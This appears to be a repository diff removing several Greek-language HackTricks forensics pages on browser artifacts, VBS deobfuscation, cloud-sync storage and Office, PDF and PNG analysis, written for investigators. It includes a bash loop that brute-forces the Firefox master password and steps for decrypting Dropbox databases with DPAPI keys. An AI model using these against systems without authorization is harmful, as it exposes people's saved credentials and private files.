{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,162 +0,0 @@
# Browser Artifacts
{{#include ../../../banners/hacktricks-training.md}}
## Browsers Artifacts <a href="#id-3def" id="id-3def"></a>
Τα αποδεικτικά στοιχεία του προγράμματος περιήγησης περιλαμβάνουν διάφορους τύπους δεδομένων που αποθηκεύονται από τους προγράμματα περιήγησης ιστού, όπως το ιστορικό πλοήγησης, τα σελιδοδείκτες και τα δεδομένα cache. Αυτά τα αποδεικτικά στοιχεία διατηρούνται σε συγκεκριμένους φακέλους εντός του λειτουργικού συστήματος, διαφέροντας σε τοποθεσία και όνομα μεταξύ των προγραμμάτων περιήγησης, αλλά γενικά αποθηκεύουν παρόμοιους τύπους δεδομένων.
Ακολουθεί μια σύνοψη των πιο κοινών αποδεικτικών στοιχείων του προγράμματος περιήγησης:
- **Ιστορικό Πλοήγησης**: Παρακολουθεί τις επισκέψεις του χρήστη σε ιστότοπους, χρήσιμο για την αναγνώριση επισκέψεων σε κακόβουλους ιστότοπους.
- **Δεδομένα Αυτόματης Συμπλήρωσης**: Προτάσεις βασισμένες σε συχνές αναζητήσεις, προσφέροντας πληροφορίες όταν συνδυάζονται με το ιστορικό πλοήγησης.
- **Σελιδοδείκτες**: Ιστότοποι που αποθηκεύει ο χρήστης για γρήγορη πρόσβαση.
- **Επεκτάσεις και Πρόσθετα**: Επεκτάσεις προγράμματος περιήγησης ή πρόσθετα που έχει εγκαταστήσει ο χρήστης.
- **Cache**: Αποθηκεύει περιεχόμενο ιστού (π.χ., εικόνες, αρχεία JavaScript) για να βελτιώσει τους χρόνους φόρτωσης των ιστότοπων, πολύτιμο για την εγκληματολογική ανάλυση.
- **Συνδέσεις**: Αποθηκευμένα διαπιστευτήρια σύνδεσης.
- **Favicons**: Εικονίδια που σχετίζονται με ιστότοπους, που εμφανίζονται σε καρτέλες και σελιδοδείκτες, χρήσιμα για επιπλέον πληροφορίες σχετικά με τις επισκέψεις του χρήστη.
- **Συνεδρίες Προγράμματος Περιήγησης**: Δεδομένα που σχετίζονται με ανοιχτές συνεδρίες προγράμματος περιήγησης.
- **Λήψεις**: Καταγραφές αρχείων που έχουν ληφθεί μέσω του προγράμματος περιήγησης.
- **Δεδομένα Φόρμας**: Πληροφορίες που εισάγονται σε φόρμες ιστού, αποθηκευμένες για μελλοντικές προτάσεις αυτόματης συμπλήρωσης.
- **Μικρογραφίες**: Εικόνες προεπισκόπησης ιστότοπων.
- **Custom Dictionary.txt**: Λέξεις που έχει προσθέσει ο χρήστης στο λεξικό του προγράμματος περιήγησης.
## Firefox
Ο Firefox οργανώνει τα δεδομένα του χρήστη εντός προφίλ, που αποθηκεύονται σε συγκεκριμένες τοποθεσίες ανάλογα με το λειτουργικό σύστημα:
- **Linux**: `~/.mozilla/firefox/`
- **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
- **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
Ένα αρχείο `profiles.ini` εντός αυτών των καταλόγων καταγράφει τα προφίλ χρηστών. Τα δεδομένα κάθε προφίλ αποθηκεύονται σε έναν φάκελο που ονομάζεται στη μεταβλητή `Path` εντός του `profiles.ini`, που βρίσκεται στον ίδιο κατάλογο με το `profiles.ini` ίδιο. Εάν λείπει ο φάκελος ενός προφίλ, μπορεί να έχει διαγραφεί.
Μέσα σε κάθε φάκελο προφίλ, μπορείτε να βρείτε αρκετά σημαντικά αρχεία:
- **places.sqlite**: Αποθηκεύει ιστορικό, σελιδοδείκτες και λήψεις. Εργαλεία όπως το [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) στα Windows μπορούν να έχουν πρόσβαση στα δεδομένα ιστορικού.
- Χρησιμοποιήστε συγκεκριμένα SQL queries για να εξαγάγετε πληροφορίες ιστορικού και λήψεων.
- **bookmarkbackups**: Περιέχει αντίγραφα ασφαλείας των σελιδοδεικτών.
- **formhistory.sqlite**: Αποθηκεύει δεδομένα φόρμας ιστού.
- **handlers.json**: Διαχειρίζεται τους χειριστές πρωτοκόλλων.
- **persdict.dat**: Λέξεις προσαρμοσμένου λεξικού.
- **addons.json** και **extensions.sqlite**: Πληροφορίες σχετικά με εγκατεστημένα πρόσθετα και επεκτάσεις.
- **cookies.sqlite**: Αποθήκευση cookies, με το [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) διαθέσιμο για επιθεώρηση στα Windows.
- **cache2/entries** ή **startupCache**: Δεδομένα cache, προσβάσιμα μέσω εργαλείων όπως το [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html).
- **favicons.sqlite**: Αποθηκεύει favicons.
- **prefs.js**: Ρυθμίσεις και προτιμήσεις χρήστη.
- **downloads.sqlite**: Παλιότερη βάση δεδομένων λήψεων, τώρα ενσωματωμένη στο places.sqlite.
- **thumbnails**: Μικρογραφίες ιστότοπων.
- **logins.json**: Κρυπτογραφημένες πληροφορίες σύνδεσης.
- **key4.db** ή **key3.db**: Αποθηκεύει κλειδιά κρυπτογράφησης για την ασφάλιση ευαίσθητων πληροφοριών.
Επιπλέον, η έρευνα για τις ρυθμίσεις κατά της απάτης του προγράμματος περιήγησης μπορεί να γίνει αναζητώντας τις καταχωρίσεις `browser.safebrowsing` στο `prefs.js`, υποδεικνύοντας εάν οι δυνατότητες ασφαλούς πλοήγησης είναι ενεργοποιημένες ή απενεργοποιημένες.
Για να προσπαθήσετε να αποκρυπτογραφήσετε τον κύριο κωδικό πρόσβασης, μπορείτε να χρησιμοποιήσετε [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt)\
Με το παρακάτω σενάριο και κλήση μπορείτε να καθορίσετε ένα αρχείο κωδικού πρόσβασης για brute force:
```bash:brute.sh
#!/bin/bash
#./brute.sh top-passwords.txt 2>/dev/null | grep -A2 -B2 "chrome:"
passfile=$1
while read pass; do
echo "Trying $pass"
echo "$pass" | python firefox_decrypt.py
done < $passfile
```
![](<../../../images/image (417).png>)
## Google Chrome
Ο Google Chrome αποθηκεύει τα προφίλ χρηστών σε συγκεκριμένες τοποθεσίες ανάλογα με το λειτουργικό σύστημα:
- **Linux**: `~/.config/google-chrome/`
- **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
- **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/`
Μέσα σε αυτούς τους καταλόγους, τα περισσότερα δεδομένα χρηστών μπορούν να βρεθούν στους φακέλους **Default/** ή **ChromeDefaultData/**. Τα παρακάτω αρχεία περιέχουν σημαντικά δεδομένα:
- **History**: Περιέχει URLs, λήψεις και λέξεις-κλειδιά αναζήτησης. Στα Windows, μπορεί να χρησιμοποιηθεί το [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) για να διαβαστεί το ιστορικό. Η στήλη "Transition Type" έχει διάφορες σημασίες, συμπεριλαμβανομένων των κλικ χρηστών σε συνδέσμους, πληκτρολογημένων URLs, υποβολών φορμών και ανανεώσεων σελίδων.
- **Cookies**: Αποθηκεύει cookies. Για επιθεώρηση, είναι διαθέσιμο το [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html).
- **Cache**: Περιέχει δεδομένα cache. Για επιθεώρηση, οι χρήστες Windows μπορούν να χρησιμοποιήσουν το [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html).
- **Bookmarks**: Σελιδοδείκτες χρηστών.
- **Web Data**: Περιέχει ιστορικό φορμών.
- **Favicons**: Αποθηκεύει τα favicons ιστοσελίδων.
- **Login Data**: Περιλαμβάνει διαπιστευτήρια σύνδεσης όπως ονόματα χρηστών και κωδικούς πρόσβασης.
- **Current Session**/**Current Tabs**: Δεδομένα σχετικά με την τρέχουσα συνεδρία περιήγησης και τις ανοιχτές καρτέλες.
- **Last Session**/**Last Tabs**: Πληροφορίες σχετικά με τους ιστότοπους που ήταν ενεργοί κατά την τελευταία συνεδρία πριν κλείσει ο Chrome.
- **Extensions**: Κατάλογοι για επεκτάσεις και πρόσθετα του προγράμματος περιήγησης.
- **Thumbnails**: Αποθηκεύει μικρογραφίες ιστοσελίδων.
- **Preferences**: Ένα αρχείο πλούσιο σε πληροφορίες, συμπεριλαμβανομένων ρυθμίσεων για πρόσθετα, επεκτάσεις, αναδυόμενα παράθυρα, ειδοποιήσεις και άλλα.
- **Browsers built-in anti-phishing**: Για να ελέγξετε αν είναι ενεργοποιημένη η προστασία κατά του phishing και του κακόβουλου λογισμικού, εκτελέστε `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Αναζητήστε `{"enabled: true,"}` στην έξοδο.
## **SQLite DB Data Recovery**
Όπως μπορείτε να παρατηρήσετε στις προηγούμενες ενότητες, τόσο ο Chrome όσο και ο Firefox χρησιμοποιούν **SQLite** βάσεις δεδομένων για να αποθηκεύσουν τα δεδομένα. Είναι δυνατόν να **ανακτηθούν διαγραμμένες εγγραφές χρησιμοποιώντας το εργαλείο** [**sqlparse**](https://github.com/padfoot999/sqlparse) **ή** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases).
## **Internet Explorer 11**
Ο Internet Explorer 11 διαχειρίζεται τα δεδομένα και τα μεταδεδομένα του σε διάφορες τοποθεσίες, διευκολύνοντας τη διαχωριστική αποθήκευση των πληροφοριών και των αντίστοιχων λεπτομερειών για εύκολη πρόσβαση και διαχείριση.
### Metadata Storage
Τα μεταδεδομένα για τον Internet Explorer αποθηκεύονται στο `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (με το VX να είναι V01, V16 ή V24). Συνοδευόμενο από αυτό, το αρχείο `V01.log` μπορεί να δείξει διαφορές χρόνου τροποποίησης με το `WebcacheVX.data`, υποδεικνύοντας την ανάγκη επισκευής χρησιμοποιώντας `esentutl /r V01 /d`. Αυτά τα μεταδεδομένα, που φιλοξενούνται σε μια βάση δεδομένων ESE, μπορούν να ανακτηθούν και να επιθεωρηθούν χρησιμοποιώντας εργαλεία όπως το photorec και το [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), αντίστοιχα. Μέσα στον πίνακα **Containers**, μπορεί κανείς να διακρίνει τους συγκεκριμένους πίνακες ή κοντέινερ όπου αποθηκεύεται κάθε τμήμα δεδομένων, συμπεριλαμβανομένων των λεπτομερειών cache για άλλα εργαλεία της Microsoft όπως το Skype.
### Cache Inspection
Το εργαλείο [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) επιτρέπει την επιθεώρηση της cache, απαιτώντας την τοποθεσία του φακέλου εξαγωγής δεδομένων cache. Τα μεταδεδομένα για την cache περιλαμβάνουν το όνομα αρχείου, τον κατάλογο, τον αριθμό πρόσβασης, την προέλευση URL και χρονικές σφραγίδες που υποδεικνύουν τους χρόνους δημιουργίας, πρόσβασης, τροποποίησης και λήξης της cache.
### Cookies Management
Τα cookies μπορούν να εξερευνηθούν χρησιμοποιώντας το [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), με τα μεταδεδομένα να περιλαμβάνουν ονόματα, URLs, αριθμούς πρόσβασης και διάφορες λεπτομέρειες σχετικές με τον χρόνο. Τα μόνιμα cookies αποθηκεύονται στο `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, με τα cookies συνεδρίας να βρίσκονται στη μνήμη.
### Download Details
Τα μεταδεδομένα λήψεων είναι προσβάσιμα μέσω του [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), με συγκεκριμένα κοντέινερ να περιέχουν δεδομένα όπως URL, τύπο αρχείου και τοποθεσία λήψης. Τα φυσικά αρχεία μπορούν να βρεθούν κάτω από `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`.
### Browsing History
Για να αναθεωρήσετε το ιστορικό περιήγησης, μπορεί να χρησιμοποιηθεί το [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html), απαιτώντας την τοποθεσία των εξαγόμενων αρχείων ιστορικού και τη ρύθμιση για τον Internet Explorer. Τα μεταδεδομένα εδώ περιλαμβάνουν χρόνους τροποποίησης και πρόσβασης, καθώς και αριθμούς πρόσβασης. Τα αρχεία ιστορικού βρίσκονται στο `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
### Typed URLs
Οι πληκτρολογημένες URLs και οι χρόνοι χρήσης τους αποθηκεύονται στο μητρώο κάτω από `NTUSER.DAT` στο `Software\Microsoft\InternetExplorer\TypedURLs` και `Software\Microsoft\InternetExplorer\TypedURLsTime`, παρακολουθώντας τις τελευταίες 50 URLs που εισήγαγε ο χρήστης και τους τελευταίους χρόνους εισόδου τους.
## Microsoft Edge
Ο Microsoft Edge αποθηκεύει τα δεδομένα χρηστών στο `%userprofile%\Appdata\Local\Packages`. Οι διαδρομές για διάφορους τύπους δεδομένων είναι:
- **Profile Path**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
- **History, Cookies, and Downloads**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
- **Settings, Bookmarks, and Reading List**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb`
- **Cache**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache`
- **Last Active Sessions**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active`
## Safari
Τα δεδομένα του Safari αποθηκεύονται στο `/Users/$User/Library/Safari`. Κύρια αρχεία περιλαμβάνουν:
- **History.db**: Περιέχει πίνακες `history_visits` και `history_items` με URLs και χρονικές σφραγίδες επισκέψεων. Χρησιμοποιήστε το `sqlite3` για να κάνετε ερωτήσεις.
- **Downloads.plist**: Πληροφορίες σχετικά με τα ληφθέντα αρχεία.
- **Bookmarks.plist**: Αποθηκεύει τα URLs που έχουν προστεθεί στους σελιδοδείκτες.
- **TopSites.plist**: Οι πιο συχνά επισκεπτόμενοι ιστότοποι.
- **Extensions.plist**: Λίστα με τις επεκτάσεις του προγράμματος περιήγησης Safari. Χρησιμοποιήστε το `plutil` ή το `pluginkit` για να ανακτήσετε.
- **UserNotificationPermissions.plist**: Τομείς που επιτρέπεται να στέλνουν ειδοποιήσεις. Χρησιμοποιήστε το `plutil` για να αναλύσετε.
- **LastSession.plist**: Καρτέλες από την τελευταία συνεδρία. Χρησιμοποιήστε το `plutil` για να αναλύσετε.
- **Browsers built-in anti-phishing**: Ελέγξτε χρησιμοποιώντας `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Μια απάντηση 1 υποδεικνύει ότι η δυνατότητα είναι ενεργή.
## Opera
Τα δεδομένα του Opera βρίσκονται στο `/Users/$USER/Library/Application Support/com.operasoftware.Opera` και μοιράζονται τη μορφή του Chrome για ιστορικό και λήψεις.
- **Browsers built-in anti-phishing**: Επαληθεύστε ελέγχοντας αν το `fraud_protection_enabled` στο αρχείο Preferences είναι ρυθμισμένο σε `true` χρησιμοποιώντας `grep`.
Αυτές οι διαδρομές και οι εντολές είναι κρίσιμες για την πρόσβαση και την κατανόηση των δεδομένων περιήγησης που αποθηκεύονται από διάφορους ιστότοπους.
## References
- [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a)
- [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/)
- [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ&pg=PA128&lpg=PA128&dq=%22This+file)
- **Book: OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123**
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,42 +0,0 @@
{{#include ../../../banners/hacktricks-training.md}}
Ορισμένα πράγματα που θα μπορούσαν να είναι χρήσιμα για την αποσφαλμάτωση/αποσυμπίεση ενός κακόβουλου αρχείου VBS:
## echo
```bash
Wscript.Echo "Like this?"
```
## Σχόλια
```bash
' this is a comment
```
## Δοκιμή
```bash
cscript.exe file.vbs
```
## Γράψτε δεδομένα σε ένα αρχείο
```js
Function writeBinary(strBinary, strPath)
Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject")
' below lines purpose: checks that write access is possible!
Dim oTxtStream
On Error Resume Next
Set oTxtStream = oFSO.createTextFile(strPath)
If Err.number <> 0 Then MsgBox(Err.message) : Exit Function
On Error GoTo 0
Set oTxtStream = Nothing
' end check of write access
With oFSO.createTextFile(strPath)
.Write(strBinary)
.Close
End With
End Function
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,97 +0,0 @@
# Τοπική Αποθήκευση Cloud
{{#include ../../../banners/hacktricks-training.md}}
## OneDrive
Στα Windows, μπορείτε να βρείτε τον φάκελο OneDrive στο `\Users\<username>\AppData\Local\Microsoft\OneDrive`. Και μέσα στο `logs\Personal` είναι δυνατόν να βρείτε το αρχείο `SyncDiagnostics.log` το οποίο περιέχει κάποια ενδιαφέροντα δεδομένα σχετικά με τα συγχρονισμένα αρχεία:
- Μέγεθος σε bytes
- Ημερομηνία δημιουργίας
- Ημερομηνία τροποποίησης
- Αριθμός αρχείων στο cloud
- Αριθμός αρχείων στον φάκελο
- **CID**: Μοναδικό ID του χρήστη OneDrive
- Χρόνος δημιουργίας αναφοράς
- Μέγεθος του HD του OS
Αφού βρείτε το CID, συνιστάται να **αναζητήσετε αρχεία που περιέχουν αυτό το ID**. Μπορεί να μπορέσετε να βρείτε αρχεία με το όνομα: _**\<CID>.ini**_ και _**\<CID>.dat**_ που μπορεί να περιέχουν ενδιαφέρουσες πληροφορίες όπως τα ονόματα των αρχείων που συγχρονίστηκαν με το OneDrive.
## Google Drive
Στα Windows, μπορείτε να βρείτε τον κύριο φάκελο Google Drive στο `\Users\<username>\AppData\Local\Google\Drive\user_default`\
Αυτός ο φάκελος περιέχει ένα αρχείο που ονομάζεται Sync_log.log με πληροφορίες όπως τη διεύθυνση email του λογαριασμού, ονόματα αρχείων, χρονικές σφραγίδες, MD5 hashes των αρχείων, κ.λπ. Ακόμα και τα διαγραμμένα αρχεία εμφανίζονται σε αυτό το αρχείο καταγραφής με το αντίστοιχο MD5.
Το αρχείο **`Cloud_graph\Cloud_graph.db`** είναι μια βάση δεδομένων sqlite που περιέχει τον πίνακα **`cloud_graph_entry`**. Σε αυτόν τον πίνακα μπορείτε να βρείτε το **όνομα** των **συγχρονισμένων** **αρχείων**, τον χρόνο τροποποίησης, το μέγεθος και το MD5 checksum των αρχείων.
Τα δεδομένα του πίνακα της βάσης δεδομένων **`Sync_config.db`** περιέχουν τη διεύθυνση email του λογαριασμού, τη διαδρομή των κοινών φακέλων και την έκδοση του Google Drive.
## Dropbox
Το Dropbox χρησιμοποιεί **βάσεις δεδομένων SQLite** για να διαχειρίζεται τα αρχεία. Σε αυτό\
Μπορείτε να βρείτε τις βάσεις δεδομένων στους φακέλους:
- `\Users\<username>\AppData\Local\Dropbox`
- `\Users\<username>\AppData\Local\Dropbox\Instance1`
- `\Users\<username>\AppData\Roaming\Dropbox`
Και οι κύριες βάσεις δεδομένων είναι:
- Sigstore.dbx
- Filecache.dbx
- Deleted.dbx
- Config.dbx
Η επέκταση ".dbx" σημαίνει ότι οι **βάσεις δεδομένων** είναι **κρυπτογραφημένες**. Το Dropbox χρησιμοποιεί **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](<https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN>))
Για να κατανοήσετε καλύτερα την κρυπτογράφηση που χρησιμοποιεί το Dropbox, μπορείτε να διαβάσετε [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html).
Ωστόσο, οι κύριες πληροφορίες είναι:
- **Entropy**: d114a55212655f74bd772e37e64aee9b
- **Salt**: 0D638C092E8B82FC452883F95F355B8E
- **Algorithm**: PBKDF2
- **Iterations**: 1066
Εκτός από αυτές τις πληροφορίες, για να αποκρυπτογραφήσετε τις βάσεις δεδομένων χρειάζεστε επίσης:
- Το **κρυπτογραφημένο κλειδί DPAPI**: Μπορείτε να το βρείτε στο μητρώο μέσα στο `NTUSER.DAT\Software\Dropbox\ks\client` (εξάγετε αυτά τα δεδομένα ως δυαδικά)
- Τις **hives** **`SYSTEM`** και **`SECURITY`**
- Τα **master keys DPAPI**: Τα οποία μπορούν να βρεθούν στο `\Users\<username>\AppData\Roaming\Microsoft\Protect`
- Το **όνομα χρήστη** και τον **κωδικό πρόσβασης** του χρήστη Windows
Στη συνέχεια, μπορείτε να χρησιμοποιήσετε το εργαλείο [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi_data_decryptor.html)**:**
![](<../../../images/image (448).png>)
Αν όλα πάνε όπως αναμένεται, το εργαλείο θα υποδείξει το **κύριο κλειδί** που χρειάζεστε για να **χρησιμοποιήσετε για να ανακτήσετε το αρχικό**. Για να ανακτήσετε το αρχικό, απλώς χρησιμοποιήστε αυτή τη [συνταγή cyber_chef](<https://gchq.github.io/CyberChef/index.html#recipe=Derive_PBKDF2_key(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D)>) βάζοντας το κύριο κλειδί ως "passphrase" μέσα στη συνταγή.
Το προκύπτον hex είναι το τελικό κλειδί που χρησιμοποιείται για την κρυπτογράφηση των βάσεων δεδομένων που μπορεί να αποκρυπτογραφηθεί με:
```bash
sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db
```
Η **`config.dbx`** βάση δεδομένων περιέχει:
- **Email**: Το email του χρήστη
- **usernamedisplayname**: Το όνομα του χρήστη
- **dropbox_path**: Διαδρομή όπου βρίσκεται ο φάκελος του dropbox
- **Host_id: Hash** που χρησιμοποιείται για την αυθεντικοποίηση στο cloud. Αυτό μπορεί να ανακληθεί μόνο από το διαδίκτυο.
- **Root_ns**: Αναγνωριστικό χρήστη
Η **`filecache.db`** βάση δεδομένων περιέχει πληροφορίες σχετικά με όλα τα αρχεία και τους φακέλους που συγχρονίζονται με το Dropbox. Ο πίνακας `File_journal` είναι αυτός με τις πιο χρήσιμες πληροφορίες:
- **Server_path**: Διαδρομή όπου βρίσκεται το αρχείο μέσα στον διακομιστή (αυτή η διαδρομή προηγείται από το `host_id` του πελάτη).
- **local_sjid**: Έκδοση του αρχείου
- **local_mtime**: Ημερομηνία τροποποίησης
- **local_ctime**: Ημερομηνία δημιουργίας
Άλλοι πίνακες μέσα σε αυτή τη βάση δεδομένων περιέχουν πιο ενδιαφέρουσες πληροφορίες:
- **block_cache**: hash όλων των αρχείων και φακέλων του Dropbox
- **block_ref**: Συσχετίζει το hash ID του πίνακα `block_cache` με το ID του αρχείου στον πίνακα `file_journal`
- **mount_table**: Κοινόχρηστοι φάκελοι του dropbox
- **deleted_fields**: Διαγραμμένα αρχεία του Dropbox
- **date_added**
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,18 +0,0 @@
# Ανάλυση αρχείων Office
{{#include ../../../banners/hacktricks-training.md}}
Για περισσότερες πληροφορίες, ελέγξτε [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). Αυτό είναι απλώς μια περίληψη:
Η Microsoft έχει δημιουργήσει πολλούς τύπους εγγράφων Office, με τους δύο κύριους τύπους να είναι οι **OLE formats** (όπως RTF, DOC, XLS, PPT) και οι **Office Open XML (OOXML) formats** (όπως DOCX, XLSX, PPTX). Αυτοί οι τύποι μπορούν να περιλαμβάνουν μακροεντολές, καθιστώντας τους στόχους για phishing και κακόβουλο λογισμικό. Τα αρχεία OOXML είναι δομημένα ως zip containers, επιτρέποντας την επιθεώρηση μέσω αποσυμπίεσης, αποκαλύπτοντας τη δομή αρχείων και φακέλων και το περιεχόμενο των αρχείων XML.
Για να εξερευνήσετε τις δομές αρχείων OOXML, παρέχονται η εντολή για την αποσυμπίεση ενός εγγράφου και η δομή εξόδου. Τεχνικές για την απόκρυψη δεδομένων σε αυτά τα αρχεία έχουν τεκμηριωθεί, υποδεικνύοντας συνεχιζόμενη καινοτομία στην απόκρυψη δεδομένων εντός προκλήσεων CTF.
Για ανάλυση, τα **oletools** και **OfficeDissector** προσφέρουν ολοκληρωμένα σύνολα εργαλείων για την εξέταση τόσο των εγγράφων OLE όσο και των OOXML. Αυτά τα εργαλεία βοηθούν στην αναγνώριση και ανάλυση ενσωματωμένων μακροεντολών, οι οποίες συχνά χρησιμεύουν ως διαδρομές για την παράδοση κακόβουλου λογισμικού, συνήθως κατεβάζοντας και εκτελώντας επιπλέον κακόβουλα φορτία. Η ανάλυση των VBA μακροεντολών μπορεί να διεξαχθεί χωρίς Microsoft Office χρησιμοποιώντας το Libre Office, το οποίο επιτρέπει την αποσφαλμάτωση με σημεία διακοπής και παρακολουθούμενες μεταβλητές.
Η εγκατάσταση και η χρήση των **oletools** είναι απλή, με εντολές που παρέχονται για την εγκατάσταση μέσω pip και την εξαγωγή μακροεντολών από έγγραφα. Η αυτόματη εκτέλεση των μακροεντολών ενεργοποιείται από συναρτήσεις όπως `AutoOpen`, `AutoExec` ή `Document_Open`.
```bash
sudo pip3 install -U oletools
olevba -c /path/to/document #Extract macros
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,20 +0,0 @@
# Ανάλυση αρχείων PDF
{{#include ../../../banners/hacktricks-training.md}}
**Για περισσότερες λεπτομέρειες ελέγξτε:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/)
Η μορφή PDF είναι γνωστή για την πολυπλοκότητά της και την ικανότητά της να αποκρύπτει δεδομένα, καθιστώντας την κεντρικό σημείο για προκλήσεις ψηφιακής εγκληματολογίας CTF. Συνδυάζει στοιχεία απλού κειμένου με δυαδικά αντικείμενα, τα οποία μπορεί να είναι συμπιεσμένα ή κρυπτογραφημένα, και μπορεί να περιλαμβάνει σενάρια σε γλώσσες όπως JavaScript ή Flash. Για να κατανοήσετε τη δομή του PDF, μπορείτε να ανατρέξετε στο [εισαγωγικό υλικό](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/) του Didier Stevens ή να χρησιμοποιήσετε εργαλεία όπως ένας επεξεργαστής κειμένου ή ένας ειδικός επεξεργαστής PDF όπως το Origami.
Για σε βάθος εξερεύνηση ή χειρισμό PDF, είναι διαθέσιμα εργαλεία όπως το [qpdf](https://github.com/qpdf/qpdf) και το [Origami](https://github.com/mobmewireless/origami-pdf). Τα κρυμμένα δεδομένα μέσα σε PDF μπορεί να είναι αποκρυμμένα σε:
- Αόρατα επίπεδα
- Μορφή μεταδεδομένων XMP από την Adobe
- Σταδιακές γενιές
- Κείμενο με το ίδιο χρώμα όπως το φόντο
- Κείμενο πίσω από εικόνες ή επικαλυπτόμενες εικόνες
- Μη εμφανιζόμενα σχόλια
Για προσαρμοσμένη ανάλυση PDF, μπορούν να χρησιμοποιηθούν βιβλιοθήκες Python όπως το [PeepDF](https://github.com/jesparza/peepdf) για τη δημιουργία ειδικών σεναρίων ανάλυσης. Επιπλέον, η δυνατότητα του PDF για αποθήκευση κρυφών δεδομένων είναι τόσο εκτενής που πόροι όπως ο οδηγός της NSA για τους κινδύνους και τα μέτρα κατά των PDF, αν και δεν φιλοξενούνται πλέον στην αρχική τους τοποθεσία, προσφέρουν ακόμα πολύτιμες πληροφορίες. Ένας [αντίγραφος του οδηγού](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) και μια συλλογή από [κόλπα μορφής PDF](https://github.com/corkami/docs/blob/master/PDF/PDF.md) από τον Ange Albertini μπορούν να προσφέρουν περαιτέρω ανάγνωση στο θέμα.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,9 +0,0 @@
{{#include ../../../banners/hacktricks-training.md}}
**Τα αρχεία PNG** εκτιμώνται ιδιαίτερα σε **CTF challenges** για τη **χωρίς απώλειες συμπίεση**, καθιστώντας τα ιδανικά για την ενσωμάτωση κρυφών δεδομένων. Εργαλεία όπως το **Wireshark** επιτρέπουν την ανάλυση των αρχείων PNG διαχωρίζοντας τα δεδομένα τους μέσα σε πακέτα δικτύου, αποκαλύπτοντας ενσωματωμένες πληροφορίες ή ανωμαλίες.
Για τον έλεγχο της ακεραιότητας των αρχείων PNG και την επισκευή της διαφθοράς, το **pngcheck** είναι ένα κρίσιμο εργαλείο, προσφέροντας λειτουργικότητα γραμμής εντολών για την επικύρωση και διάγνωση των αρχείων PNG ([pngcheck](http://libpng.org/pub/png/apps/pngcheck.html)). Όταν τα αρχεία είναι πέρα από απλές διορθώσεις, διαδικτυακές υπηρεσίες όπως το [OfficeRecovery's PixRecovery](https://online.officerecovery.com/pixrecovery/) παρέχουν μια διαδικτυακή λύση για **την επισκευή κατεστραμμένων PNG**, βοηθώντας στην ανάκτηση κρίσιμων δεδομένων για τους συμμετέχοντες σε CTF.
